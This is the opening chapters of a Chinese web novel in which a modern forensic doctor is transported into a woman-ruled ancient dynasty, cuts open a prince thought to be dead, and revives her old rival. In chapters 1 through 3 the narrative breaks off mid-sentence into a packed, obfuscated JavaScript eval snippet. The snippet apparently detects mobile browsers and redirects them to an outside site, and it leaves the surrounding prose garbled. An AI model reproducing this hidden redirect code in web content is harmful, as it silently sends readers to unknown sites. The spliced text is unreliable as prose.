《死对头在我刀下复活了[女尊]》 1. 第 1 章 2025年3月,红城市公安局发生了一起不太和谐的事件。 技侦中心的解剖室里,钱满把主任老李给打了,场面激烈,导致还未缝好的尸块散落一地。 技侦中心主任李永军,不到五十,一米七出头的个头,但头发已经秃了,看起来比市局一把手还老,他是个八面玲珑的笑面虎,除了技术其他的都很有一套,钱满早就看不惯他的作风,只是还没到忍无可忍的地步。 这天,钱满正在拼合一个被大货车碾压的倒霉蛋儿,这个人几乎被碾成了肉馅,钱满正头大呢,李永军过来一顿喷,一会儿说针法不对,一会儿嫌弃动作太慢,钱满哪儿还能忍。 早就看这老东西不顺眼了。 钱满虽然是个拿手术刀的,但拳术格斗样样不差,李永军根本没有还手之力。 解剖室是360度无死角高清监控,视频另一端的监控室的一众人等无不震惊,这事很快传得沸沸扬扬,几乎所有人都觉得钱满这回死定了。 谁不知道李永军的老丈人是市局前任大领导? 虽说现在已经退了,但余威尚在,大家都知道他能力平平,但依然笑脸对待,偏偏这个钱满不吃老陈那一套。 平日里不巴结奉承也就算了,这回还直接动手了!动手的地方还是解剖室,老陈脸上都被溅上了“肉馅”了。 事情真是相当恶劣。 钱满其实已经做好了最坏的打算,大不了就是被扒了皮,废了刀,然后她回家继承她爹那花不完的家产。 可事情最后的结果还没有那么糟糕,钱满打人事件被高高拿起轻轻放下,她并没有受到任何处分,只是被调了岗位,从市局下沉到了辖区的红旗街派出所。 美其名曰:基层锻炼。 到了派出所之后,钱满才明白,之前自己太单纯了。 她以前接触的都是人命关天的大案子,现在—— 每天要花两个小时的扫街,盘查违规停车,赶跑乱贴小广告的,上下楼因为一盆水打起来,老大爷出门没带钥匙找不到家……等等,对于一个片警来说,只要是这片地的事情,大小都能找到她。 总归是没什么大事就是了。 这不,今天她接到的任务是帮助一位独居老太太救猫。 到了老太太家,钱满发现情况比她想象的还要棘手,那只黑色的肥猫显然已经快要断气了。 老太太嘴里不停地念叨着:“花妮啊,我的花妮啊,你可不能有事啊……” 钱满:“……” 这猫一团漆黑,何德何能叫花妮? 钱满蹲下身,检查了一下黑猫的情况,发现一根鱼刺横亘在它的喉咙里,卡得死死的。 “大妈,您别急,我来处理。”钱满一边安慰老太太,一边从出工具箱里拿出了一把手术刀。 老太太看着那闪着寒光的手术刀,吓得差点晕过去:“姑娘,这是要干啥啊?你怎么能动刀子呢?” “放心,我是专业的。”钱满戴上手套,语气坚定,“虽然现在没有条件麻醉了,但如果再不处理的话它就没命了。” 因为送兽医院已经来不及了,更何况这附近根本没有兽医院,开个口子疼不死,但那根鱼刺却真的能够致命。 老太太眼泪都下来了,“……那好吧,我去给菩萨上柱香。” 不知道是不是老老太太的香火起了作用,还是钱满运气好,她切开气道之后很快找到了那根鱼刺,黑猫几乎没有挣扎,前后不到一分钟,这蠢货还没反应过来是怎么回事,手术已经结束了。 然而,钱满还没来得及喘口气,只觉得头晕了一下,一道耀眼的红光从黑猫的伤口处散发出来,刹那间她只觉得周围的一切变得有些虚幻。 再次恢复意识,钱满发现自己正站在一个古色古香的传统院落门口,院子里嘈杂声伴随着孩子的哭泣声,声音由远到近,越来越真实。 她低头看了看自己的手,手里还握着那把沾着血迹的手术刀,血迹鲜红,似乎还带着温度。再看看自己的手臂,身上的衣服却换了模样,粗布麻衣,款式古朴,她下意识地摸摸头,摸到了一个结实的发髻。 钱满:!!! 她这是穿越了? 钱满还没反应过来,就看到几个穿着黑色铠甲的女人押着一个中年妇人走来。 为首的女人个子高挑,身材肥壮,穿着银白色的铠甲,一张四方胖脸,声音粗厉:“审理司奉旨办案,现将嫌犯钱明月缉拿归案!长女钱满,次女前进,长子钱来,夫刘氏,一同带走!” 钱满只觉得有些头晕,一些陌生的记忆迅速融入脑海……原来她现在的这副驱壳也叫钱满,被押着的是她的母亲钱明月。 说起来,钱家算是“法医”世家,只不过这个世界管这种普通剖尸的叫做“行人”。 原主大概是脑子不太灵光,二十岁了还毫无建树,文不成武不就,只能凭着家里祖上的庇佑跟着母亲混口饭吃,钱明月在行人房当职,而她是个连行人都算不上的打杂的——行走。 等等……好像哪儿有些不对! 这个大虞朝,是一个女尊男卑的世界。 钱满忍不住想笑,这与她之前的认知不太一样,但她喜欢这个规则。 然而她这个笑容还没有展开,就被身后凄厉的哭喊声打断了。 “小满呀,这可怎么办啊!我不想死啊!” 我也不想啊! 人家穿越都是歘歘歘的主角光环,她怎么就开局就要被押赴死牢? 钱满回头一看,一个皮肤白皙妙容姣好风韵犹存的半老徐……男朝她扑了过来,霎那间她脑海的一些记忆也被激活,这男子是她的父亲刘楚玉。 钱满不防备,被这身材微胖的男子扑得倒退了两步,还好原主这体格足够健壮,比她原来还要高大一些,她扶住哭得梨花带雨的刘楚玉,脑海里迅速组织着语言。 还没想好该怎么说,有感觉到有人扯他的衣服,身边的左右不知道什么时候站了两个小孩,女孩十一二岁的样子,男孩大概只有七八岁。 女孩问:“大姐,母亲真的杀了七皇子吗?” 男孩说:“七皇子天天骂大姐,他不是好人……” “啊!”刘楚玉尖叫一声捂住了小男孩的嘴,“我的祖宗啊!你不要命了!” 混乱的场面让钱满的头一阵刺痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244878|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很快,两个穿着黑色盔甲的女人一步步逼近,她认命地闭了闭眼睛,迅速藏好了手中的手术刀。 现在情况不明,不能轻举妄动,只能体验一下大虞的牢狱生活了。 在来到这里之前,钱满可以说是一个在优渥环境里成长起来的五好青年,但她的职业让她对各种环境都适应良好。 比如,这空气中带着潮湿腐败气息的地下监牢,她一点儿特殊反应也没有,但是隔壁监室的刘楚玉和两个孩子就没有这么好的承受能力了,一进来爷三个就吐得稀里哗啦的。 唯一让人欣慰的是,钱满和钱明月关押在同一间牢房,这就好了,她现在急需知道这案子的一些细节。 “说起来我也是一头雾水!”钱明月叹息,“七皇子那天来四重门,见过的人又何止我一个?再说了咱们行人房是四重门最低级的,平日里做得也都是一些收尾打杂的工作,谁能想到七皇子那天就来了呢。” 钱满有些不解,“七皇子一个男子,不在宫里好好待着,为什么会到四重门?” 其实钱满好奇的是,四重门到底是什么地方?在原主的记忆里似乎没有这方面的信息。 “唉!你这个……”钱明月恨铁不成钢,无奈道:“小满啊,你……你这脑子应该记住点事儿啊,要不是你前几天得罪了七皇子,人家也不会专门来找我。” 钱满:“……” 弄了半天,这个钱满是罪魁祸首。 女儿得罪了七皇子,七皇子气不过找她老娘评理,老娘自然向着自己的女儿,于是两人起了争执。 这么一看,钱明月的嫌疑果然很大。 “母亲,七皇子过来找你,都谁看到了?” 钱明月一愣,“……行人房倒是没人看到,至于外面的,那就不知道了。那天我走的比较晚,行人房就剩下我自己,正准备走的时候,七皇子来了,他也是一个人,他,他看着其实也没有什么异常,就是来回絮叨你们俩之间那点儿事,我都听烦了……可谁知道他说完就倒下了呢!” “……”钱满不知道她和七皇子之间有什么事,但这不是重点,“重点是,行人房没有其他人,审理司怎么就知道你是最后见七皇子的人?” “这件事你跟谁说过吗?” 钱明月摇头,“肯定没有,连你爹都不知道!” 这就奇怪了。 这可不是现代,在没有监控没有摄像头没有证人的情况下,还能准确地把嫌疑人缉拿,这摆明了就是一个局。 可又有谁有那么大的胆子和本事,用七皇子做局? 七皇子……钱满纷乱的记忆似乎闪现出一丝清明,眼前浮现出一张羊脂玉沁着粉润的脸,眉眼张扬明媚,何止是闭月羞花,简直是赛洛神。 钱满简直不理解,原主是个怎样的木桩,竟然还能得罪这样的美人……不,这不正常,即便是有人胆大包天用七皇子做局,也不至于把人搞死。 当务之急,她必须想办法见到七皇子的尸体,或者还能找到什么线索来解开这个死局,虽然并不能保证有用,但就这么被砍头了,她不甘心。 “来人!”钱满大吼一声,“我要见李大人!” 2. 第 2 章 钱满虽然之前主修的是法医专业,但她的刑事侦查推理判断能力也还是有的,她的导师是国内赫赫有名的“刑侦四龙”之一,她这个得意门生自然不差。 在原来的世界,她天天扫街救猫,没想到穿越到这里就遇到的案子,还事关自己的小命,这可真够刺激的。 其实,钱满也没有十足的把握,但她别无选择,只能搏一搏了。 钱明月被这一嗓子吓得出了一身冷汗,“……我的祖宗,你这是干什么!” 钱满:“就这么冤死我不甘心!母亲,咱们得想办法出去!” “你当我愿意在这里?但谈何容易啊!”钱明月压低了声音,“不过你也别担心了,有你父亲在,你祖母和姑姑们不会坐视不管的,只是咱们活罪难逃了……” 钱满有些不解,“……祖母和姑姑?” 钱明月压低声音,“你祖母就是刘云清。” 钱满只觉得脑海里金光一闪—— 刘云清,大虞首富啊! 万万没想到,原主的爹是个货真价实的富二代,只是嫁给了钱明月之后一直低调,以至于周围的人没多少人知道,就连钱家的三个孩子也不知道自己的父亲有这么大的来头。 钱满突然觉得这场穿越也不是那么不靠谱了,至少她爹有钱这件事与原来世界的设定是一样的。 一边消化着原主残缺不全的记忆,一边思考对策,钱满的大脑越发冷静,她必须尽快看到七皇子的尸体,时间拖得越久,证据就越难寻找。 外面看守的狱卒毫无反应,钱满只好再次提高了嗓门。 “来人啊——我要见李大人!” 脚步声传来,看守狱卒打了个哈欠,语气恶劣:“吵吵什么?李大人是你想见就见的啊……哎,李大人,您怎么来了?” 还真是巧了,狱卒的话语未落,钱满就看到那个方块形的李大人了。 想必是原主的祖母和姑姑们出了力的。 只是这李肖然也不是什么好鸟罢了。 “钱明月,你我也算像是旧相识,我也是看在你夫家刘老太太的面子,”李肖然咳嗽了一声,话锋一转,“但是你也知道,审理司又不是我一个人说了算,再说七皇子尸骨未寒,这件事总要有个人负责……” “李大人!”钱满实在不想听这人废话,“这案子不能这么草草结案,我有新的线索!” 钱满此言一出,别说李肖然,就连她亲娘钱明月也惊呆了,她家女儿有多少斤两她还不清楚吗? 平日里钱满虽然还算勤勉,但不管是读书还是武学都没什么天赋,刀都拿不稳,即便是在行人房,她连做“行人”的资格都还没呢,只能在做最低级的“行走”,也就是搬运工,她哪儿来的线索啊! 但看着钱满那笃定的眼神,钱明月也有些茫然,莫非她老钱家祖宗显灵了? 李肖然看了一眼这母女俩,心里也快速盘算着。 这案子着实让她头疼,审理司是大虞架构在六部之上的部门,直接受命于皇帝,她奋斗了半辈子才爬到了审判副庭长这个不上不下的位置,就在她想要往前走一步的时候,在她的责任区发生了这个案子。 审理司卿要她三天断案,现在已经过去一天,本来想着钱明月也不是什么大人物,就算是祖上厉害,但她现在不过是四重门的一个小杂役,拿他做个替罪羊也没什么,但谁想到半路杀出个富甲天下的刘云清,她之前只是听说这刘云清有个小儿子嫁到了中州,没想到嫁的人竟然就是钱明月这厮! 进退两难。 不如卖她们一个面子。 “钱满,你要对你说的话负责。”李肖然道,“你既然有线索,为何不早说?” 早我还没来呢! 钱满:“李大人,我的线索需要亲自查验七皇子尸体之后才能说。” “什么!”李肖然震惊,“你知道你在说什么吗!七皇子的……贵体岂能容你亵渎?” “既然不是正常死亡,那就应该好好查验才能知道死因,”钱满说得不紧不慢,“七皇子虽然体弱多娇,但常年有太医调理,再说他跟我母亲说话的时候还一切正常,突然暴毙,这其中必然有其他原因。” “什么原因?” “这个我就需要查验之后才能知道了。”钱满似乎想起了什么,“李大人,这案子既然是你负责的,案子办得好坏也会牵连到你吧?” 李肖然的脸色瞬间变得难堪。 看来是猜对了! 钱满接着说:“难道大人不想把案子办得漂亮吗?我们一家人死不足惜,但大人的前途可不是儿戏啊!” 这可真是戳到了李肖然的心窝子了! 李肖然:“好,不过这件事事关重大,要等我禀报了司卿大人再做定夺。” 审理司卿苏城此刻正和一位白衣女子下棋,两人都是四十出头的年纪,但看上去却比实际岁数年轻不少,能在这个岁数混到二品,都是早已成精的人中翘楚。 “沐风,你这棋下错了吧?” 白衣女子摇摇头,语气淡淡,“既然知道这是一步错棋,你又为何趟浑水?” 苏城自然明白宋沐风别有所指,笑了笑,“不然呢,陛下只给了三天时间,是这个钱明月自己点背,再说了证据上也说得通,怪只怪她自己命不好。” 宋沐风接着走棋,“那也不能将错就错……” 只是,她的棋子还没有落下,就见下人急匆匆地过来通传,说是李肖然有要事禀报。 宋沐风撤回了要走的棋子,“说不定有人能够翻盘呢。” “那就一起听听她怎么说吧。” 李肖然从监牢出来之后没敢怠慢,毕竟这件事直接关系到她的前途,如果钱满真有更有价值的线索,案子办得漂亮,她也不亏。 李肖然看着一旁的宋沐风,又看了看自家主子,欲言又止。 “但说无妨。”苏城说,“宋大人又不是外人。” “是。”李肖然抹了一把额头汗水,“刚才属下去监牢查看,钱明月之女钱满说有重要线索。” 苏城心不在焉,“有什么线索就直接说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244879|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……她说,她说要亲自查验七皇子的贵体之后才能说。”李肖然看着苏城的脸上,有些惶恐,“属下也觉得此事不妥,不敢擅自做主,所以——” “你既然觉得不妥,”苏城打断了她,“还过来烦我?” 李肖然:“……属下明白了,属下告退。” “等等。”宋沐风开了口,“我倒是觉得这个钱满的提议不错,陛下那边我去说。” - 另一边,监牢里的钱家正经受着前所未有的煎熬。 刘楚玉爷三个进来之后就吐了个天昏地暗,到了吃饭的时候,看到馊了的窝窝头和不见油花白菜汤,刘楚玉又开始哭了。 “……老天不开眼啊,家里这么多银子还没花呢!” 刘楚玉这一哭,和他在一起的两个孩子也还是嚎啕起来。 不知道是不是刘首富使了银子的缘故,不管这爷几个怎么闹腾,都没有人搭理他们,但要说怎么照顾也不可能,听之任之已经是最大的仁慈了。 钱明月长叹,“我小心谨慎半辈子,没想到竟然遭受如此无妄之灾……小满,你有几分把握?” 钱满实话实说:“三分吧。” “……”刘楚玉的哭声戛然而止,“钱满!你疯了吗!三分把握你就要验尸啊!钱明月你就惯着她吧,本来我们不用死的,这下凶多吉少了!” 钱满:“……” “父亲,我会争取让凶少一些。” 夜幕降临,折腾一天的钱家其他人终于安静了,钱满却睡意全无。 原主这个草包,是个脑袋空空的蠢货,为数不多的脑容量装的几乎都是吃喝玩,有用的信息不过,她甚至不知道“中州”这个地方处于一个什么样的地理位置,不过从名字和现在的气候来判断,应该是中原一带。 不重要了,重要的是如何摆脱当前的困境。 几乎是一夜无眠,钱满过了很久才迷迷糊糊地睡着了。 “啊——你们不能带走我的阿满啊!” 钱满是被他父亲嘹亮的哭声吵醒的。 “大姐!” “大姐——” 紧接着是妹妹和弟弟的叫喊声。 接下来就感觉到肩膀被人大力地摇晃着,钱明月也是带着哭腔:“……我可怜的小满,你怎么就去了呢?” 钱满费力地睁开眼睛,对上了她娘放大的脸。 钱明月尴尬地抹了一把眼泪:“……小满,你总算醒了。” “既然醒了,就跟我走一趟吧。” 一道清冷的声音传来,钱满抬头看到了一道高挑的身影。 这一次来的不是李肖然,是一位年轻女子,面容清秀,个子高挑,一身绯红色的官服,金色腰带,看起来威仪不凡。 钱满向来对貌美之人有着本能的好感,她想这人在审理司应该属于文职,充当着花瓶或者吉祥物的角色。 “审理司董岩,奉旨押送钱满,带走!” 这人一开口,钱满就很后悔,真是白瞎那张人脸了,说出来的真不是人话。 3. 第 3 章 钱满稀里糊涂地被带出了监牢,又被押上一辆四面封闭的马车,走了差不多半个时辰,被带下马车的时候,发现自己来到了一个有些熟悉的宅院门口。 门口上方的匾额写着三个字:四重门。 钱满想起来了,这是四重门的正门,她和母亲当值的行人房虽然隶属与四重门,但两人却很少走正门,以至于钱满都忘记这衙门长什么样了。 因为宋沐风的一句话,钱满得到了查验七皇子尸体的机会,她此刻还不知道,自己的命运已经冥冥之中被宋沐风带到了一条道长多坚的未知之路。 七皇子的尸体自然不在一般的停尸房,而且暂时放在了四重门的特殊冰室。 虽然来之前做好了充分的思想建设,钱满还是被冻得打了个哆嗦,此时正值暖春季节,即便是监牢的温度也都有十几度,可这个冰室的温度,给人的感觉有零下十几度。 除了很冷之外,还有一点挺奇怪。 现代的解剖室即便是有先进的负压通风系统,先进的过滤材料,也难免做到一点味道没有,很多时候都是被清洁剂和消毒水的味道掩盖了。 但是这个冰室却没有一点儿血腥之气,甚至空气中还有一种淡淡的……甜腻香味。 这味道让钱满觉得有些熟悉,但又没什么头绪。 一同前来的还有三人,李肖然、苏城和宋沐风。 三人盯着钱满,各怀心事。 李肖然忐忑不安,胖脸皱成了一团,苏诚一脸看戏的表情,她觉得这完全是多此一举,只有宋沐风一脸认真,似乎在期待着什么。 钱满深吸一口气掀开了鹅黄色的盖布,商钰的脸呈现在眼前,与她脑海里残存的记忆并无二致,只是脸色更加苍白,嘴唇的颜色却红得不正常,指甲的颜色却是青紫色的。 钱满没有急着下刀,伸手轻轻按压了一下商钰的颈动脉,又翻开他的眼皮,发现他的瞳孔竟然没有明显的扩散。 距离商钰出事已经过去两天,就算是低温状态下,也不该出现这样的状态,这人不像是真正的死亡,倒像是陷入了某种假死状态。 再看看商钰的手臂,肌肤虽然冰冷,但依然很有弹性,按压之下并不会出现明显的凹痕,这皮肤除了温度低,其他的与常人无异。 钱满心里闪过一个诡异的念头:莫非这人还没有死? 对待一具真正的尸体,她可以毫无顾忌地下刀,但如果这人还可能活着,她如果盲目下刀的话,便于杀人凶手无异了。 今天的验尸方案恐怕要换一换了。 “钱满,你磨蹭什么呢?”李肖然忍不住催促,“是你自己说有线索的,你知道咱们为了给你争取这个机会费多大劲儿?你到底会不会验尸啊,怕不是跟你那个娘一样……” 宋沐风看了一眼身边的苏城,苏城马上制止了李肖然的聒噪,“闭嘴。” 李肖然应声而止。 钱满心里已经有了初步方案,她回转身,冲着李肖然他们一抱拳,“几位大人,我现在还需要一些辅助材料。” 苏城点头:“说。” “我怀疑七皇子只是假死,这很可能和他的心脏有关,所以我需要开胸查验是不是心脏出了问题,所以恳请大人给我准备一些药材……” 钱满还没说完就被苏城打断了,“等等,你说什么?还要开胸?钱满,你可知道躺着的是谁?皇子贵体岂能——” “说说你的理由。”宋沐风淡淡开口,“如开胸查不到你想要的线索,那么你们一家可就活不成了。” 就算不开胸她们家现在也在劫难逃,左右都是死罪。 钱满点点头,“大人,小的明白,就是因为这样,才想着开胸查验清楚,但因为七皇子可能还活着,所以不能直接下刀,需要麻药辅助。” 不然这小可怜就是疼也会疼死的。 对面三人面面相觑,看样子是不知道“麻药”是何物了,但钱满现在没时间跟她们仔细解释。 “诸位大人,时间紧急,拖得越久七皇子就越危险,回头我在跟你们好好解释吧,我需要曼陀罗、乌头和天南星各半斤,嗯,再加一个熬药的炉子和药臼。” 宋沐风的眉头微不可见地皱了一下,但最终还是点了下头。 苏诚见宋沐风点头,马上吩咐人去准备了,李肖然一脸懵逼地看着两人,满脸愁容,她现在就十分后悔,当初就不该多事跟苏诚汇报再次查验七皇子这件事。 钱满现在看明白了,李肖然在苏城面前是个小马仔,但这个苏城其实什么事都听身边这儿白衣女人的。 这女人虽然个子不高,但身材比例匀称,再加上一身白衣,颇有点儿超凡脱俗的味道。 不到一刻钟功夫,钱满要来的三种药材已经到位,炉子和药臼也都拿来了。 钱满很庆幸自己曾经跟着一个老中医学习过一段时间针灸,那时候她刚刚参加工作不久,任务量不饱满,闲来无事就拜了个师傅学针灸,那老中医没事就跟她讲一些老药方,当时也就是听听,没想到现在真的用上了。 半个时辰后,钱满的简易麻药制成了——一碗黑漆漆的糊状物。 其实,这东西的效力到底怎么样,她心里也没底,此刻也只能试一试了。 黑色的药糊覆在商玥洁白的胸口,对比十分刺眼,钱满不由得屏住呼吸,握着手术刀的手落了下来,准确地触及皮肤,一刀切开了。 这个世界的医疗手段有限,连开膛破肚都是闻所未闻的事情,建立体外循环更是不可能,这就要求钱满的动作要十分迅速。 但一刀下去,钱满惊喜地发现,腹腔内的情况比她想象的好多了,内部循环状态还不错,还有得救,只是这心脏长得有些畸形,是典型的二尖瓣狭窄。 同时,钱满还发现,不知道是不是因为冰室温度太低,还是什么别的其他原因,这个七皇子的血液似乎受到了某种气流的影响,形成了一种独特的负压,并不会向外溢出。 真是奇哉怪也。 这七皇子大概是有什么东西护体? 不过钱满现在无暇顾及其他,她得专心对付那个畸形的心脏,由于这心脏的二尖瓣瓣叶增厚、钙化,瓣膜面积已经变得只有指头尖大小,大概只有正常人的五分之一大小,这就导致左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244880|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心房扩大以及肺部大面积淤血。 如果是在现代,这样的手术并不复杂,选择人工机械瓣膜置换就可以了。 但是现在钱满也有些麻爪,到哪儿去找人工机械瓣膜? 紧急关头,钱满只觉得手术刀似乎有道光芒闪过,那光芒似乎是从心脏下方发出来的。 钱满小心翼翼地捏住心脏,随之惊讶地睁大了眼睛,或许是她今天运气好,抑或是这位皇子命不该绝,商钰的心脏下面竟然多长了一小片筋膜! 这一小片筋膜约莫两寸长,正好与成年人正常的瓣膜差不多! 来不及多想,钱满决定就用这片筋膜来做机械瓣膜,这种手术她并没有在活人身上实操过,但她随着导师在手术室混过好几年,手术步骤也算了如指掌。 至于缝合材料,苏城给准备的还不错,看不出是什么材质,但看起来好像类似聚丙烯缝线,别无选择,钱满手里的刀和针都在飞快地交接运转,她好像变成了一个机器,眼前的景象似乎变得虚幻,而她只是机械地操作着这一切。 万幸的是,在她操作这些的时候,商钰自身的情况也十分良好,没有出现内循环中止和意外出血的情况,差不多一个时辰过去,这颗畸形的心脏终于处理好了。 但同时钱满也傻眼了,这心脏并没有恢复跳动! 这可不是一个好现象。 钱满额头渗出汗珠,她闭了闭眼睛,下一秒伸手握住了那颗心脏。 “你这是干什么!”李肖然惊呼出声,“你怎么可以……” 苏城咳嗽了一声,李肖然闭了嘴,但眼神已经是万分震惊。 其实,另外两个也没有那么淡定,如果仔细看,宋沐风的手指其实抖了一下,苏城后背早已经出汗了。 钱满的这个动作实在是胆大妄为! 皇帝能答应再次查验,但不代表能接受开胸,更何况还有这种妄为。 但是既然一开始她们默许了这种行为,现在也就只能陪到最后了。 钱满用手握住心脏,进行着有节奏的按压,她其实是在模拟心脏收缩,以便让已经骤停的心脏恢复自主跳动。 经过几十次的按压,钱满突然感觉到了微弱的回应,她尝试着松开手,就看到那颗心脏慢慢恢复了动作,虽然还不是很强有力,但眼睛可见地发现,由于心脏的恢复,商钰体内循环的强度也跟着增强了。 她成功了! 钱满又仔细检查了胸腔,就在这时,她觉察出一丝不对,右侧肺叶的位置温度不对,她再次查看,发现肺叶底下竟然有一粒冰块一样的异物。 手指触及异物,刺骨的寒冷沁头心扉,钱满迅速用纱布包了起来,又对胸腔做了一遍检查,确认没有问题,这才进行了缝合。 打好最后一个外科结,钱满长长地出了一口气。 她有些疲惫地看看商钰,手里还攥着那颗冰状异物,理论推测人不会这么快清醒,但她还是祈祷着奇迹发生。 但钱满万万没想到的是,下一秒,商钰眼睛突然睁开了,看到钱满,他中气十足地骂道:“钱满,你活腻了吗,竟然敢谋害本宫!” 4. 第 4 章 七皇子就这么水灵灵地活了! 钱满万分震惊,她是料到七皇子很有可能醒来,但怎么也想不到这人会这么快醒来,还……这么有活力! 这不科学! 即便是在她原来的世界,有先进的医学条件的前提下,开胸手术之后的病人也不可能恢复这么快,这个商钰到底是人是鬼? 不过这还不是最糟糕的。 对上商钰目光的那一刻,钱满的有关记忆也开始再次复苏,眼前的男子不仅仅是七皇子商钰,还是自己的死对头! 商钰今年十七,比钱满小三岁,两人大概是幼年时期曾有过节,但具体是什么钱满没有印象了,但商钰似乎对此十分介意,两人只要一见面,那必然是唇枪舌剑。 原主对于这个死对头是又怕又恨,恨不得他能早点从这个世界消失。 一时间钱满也有些茫然,她原本以为自己穿越就到了死牢就已经够糟糕了,谁能想到好不容易得到了验尸机会,一刀下去人活了,救活的却是自己的死对头? 遥远模糊的记忆再加上眼前这张脸,让钱满有些不真实的感觉,但她很快觉得胸口有些闷疼,这滔天的委屈跟谁说去! 钱满不说话,商钰更加生气,“你……你……你竟敢剖我!” 商钰的眼神再明显不过,他对钱满的行为没有半点儿感激,看着自己手里的解剖刀,钱满想起了那只倒霉的黑猫,觉得这七皇子和那黑猫有几分相似。 都是不识好歹的玩意儿。 刚把人救活,辛苦了一个多时辰,这人不感激也就罢了,怎么还这个态度?原主窝囊,但她是有脾气的。 “我不剖的话,殿下现在已经凉透了!” 商钰一噎,脸色由白转青,眼神中满是震惊,胸口剧烈起伏,他有些不可置信地看着眼前的女子,似乎在确认着什么。 是他最讨厌的那个钱满没错,但这憨货哪来这么大胆子的!之前骂她她可是只会板着脸不理人,现在竟敢还嘴了!还说得那么刻薄! “你……你竟敢对本宫无礼!” “无礼?殿下别忘了,我刚刚救了殿下的命。” “救命?”商钰像是听到了什么笑话,“你分明是想趁机补刀!” 钱满气笑了:“补刀?殿下死了对我有什么好处?!” “你……”商钰一时语塞,脸色变幻莫测。 是啊,如果自己没有活过来,钱家的麻烦会更大。 宋沐风轻轻咳嗽一声,“七皇子大病初愈,大家都先回避吧。” 是了,钱满这才明白过来,这大虞是女尊男卑的世界,她们几个女子就这么大啦啦地站在几乎剥光的商钰面前,着实不体面。 商钰大概是因为这个气急败坏吧? 走出冰室钱满又觉得不平衡,明明是四个人在呢,偏偏骂她一个人! - 七皇子死而复生,皇帝大悦,再加上宋沐风的保证,次日一早,钱家一家人被获准离开监牢回到家中。 死罪可免,但嫌疑并没有完全解除,毕竟在七皇子“死亡”之前,钱明月还是与他产生了一些口角,当时又没有别人,钱明月自己又说不清楚,到底是谁危害了皇子的安全,这件事还是要查清楚的。 一家人经历了这一场牢狱之灾再次回到家,百感交集,尤其是钱明月,她原本没想到自己还能回来,听到钱满大致说了经过,还有些不可置信。 “你竟然剖开了七皇子的胸膛?”钱明月啧了一声,“他骂你那是应该的了,不对,不对,他只是骂了你?那可真是便宜了你。” “就是,就是,”刘楚玉也十分认同,“七皇子虽然泼辣了些,但终究也是男子,你……那样把人家都看光了,骂你算是轻的了。” 听听,这是亲生爹娘说的话? 钱满无奈叹息,“母亲,父亲,我哪里是要看他,我是要验尸查明死因,再说如果我不这么做,咱们都还等着被砍头呢。” 不砍头了但嫌疑还在,所以钱满也没有心情在家里多呆,她想着吃过饭之后赶紧干活,主要是原主这个家庭气氛太活跃了,她实在有些应付不来。 “母亲,父亲,我还要到现场查看,陛下给了七天时限,今天已经算是一天了!” “啊!”刘楚玉大喊一声,“那你还不赶紧去啊,不,还没吃饭呢,吃了饭再去……算了,你身体壮实,饿一顿也没什么的,小满,阿爹相信你一定能够做到的!快去吧!” 等着吃饭的钱满只好应允:“……是,父亲。” 钱满饿着肚子来到了行人房。 这里是四重门西北角的一处独立的小院,是最后处理尸体的地方,这里的“行人”是四重门最低级的在编人员,在行人的下面,还有一批行人助理,被称之为“行走”,行走就是杂役,没有编制,纯粹是低级牛马。 说白了就是临时工。 钱明月在行人房呆了快二十年,是这里的行人副总管,而钱满,只是一个普通的行走,不,比普通行走还低一些,因为即便是这样的一个位置,也是她母亲凭着关系塞进来的。 不管是行人,还是行走,都没有验尸的资格,验尸是“半边人”的事情。 关于“半边人”钱满此刻还没有什么了解,记忆力也只是钱明月给他说过的残片,总之“半边人”就是他们头顶上的老大们,与他们行人房的人有着云泥之别。 来到商钰当天出事的现场,钱满仔细查验了一圈,并没有什么收获,房间已经被打扫过了,地砖光洁平整,几乎能照出人影。 房间的南边有扇窗户,窗户残破不堪,窗户纸已经风化。 钱满看着窗户若有所思,她来到窗边,看着布满灰尘的窗台和窗棂,看到了一些微不可见的痕迹,她用力推开了窗户。 呼啦—— 窗户被推开,外面的凉风突然灌入,霎时屋内弥漫着一股淡淡的香味,再一看外面的窗台,灰尘积垢之上,残留着几条不太清晰的痕迹。 是脚印。 窗外是一条斑驳破旧的小道,紧邻着四重门的北墙,如果翻越了这道北墙,就 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她想起来了,这个冰冷的触感,就像是从商钰胸腔取出来的那块冰状异物,钱满的目光再次落在手术刀上,脑海的思绪开始翻腾, 此时已经晌午,外面是明媚的阳光,洋洋洒洒晒在人身上暖暖融融的,但手中的温度确实冰冷彻骨,钱满感觉自己的身体似乎被分裂成了两半,一半热血沸腾,一半如凝寒冰。 那枚异物钱满一直贴身带着,之前并没有觉察出异常,浅蓝色半透明的一小块,如今拿出来和手术刀放在一起,竟然有种莫名的和谐感。 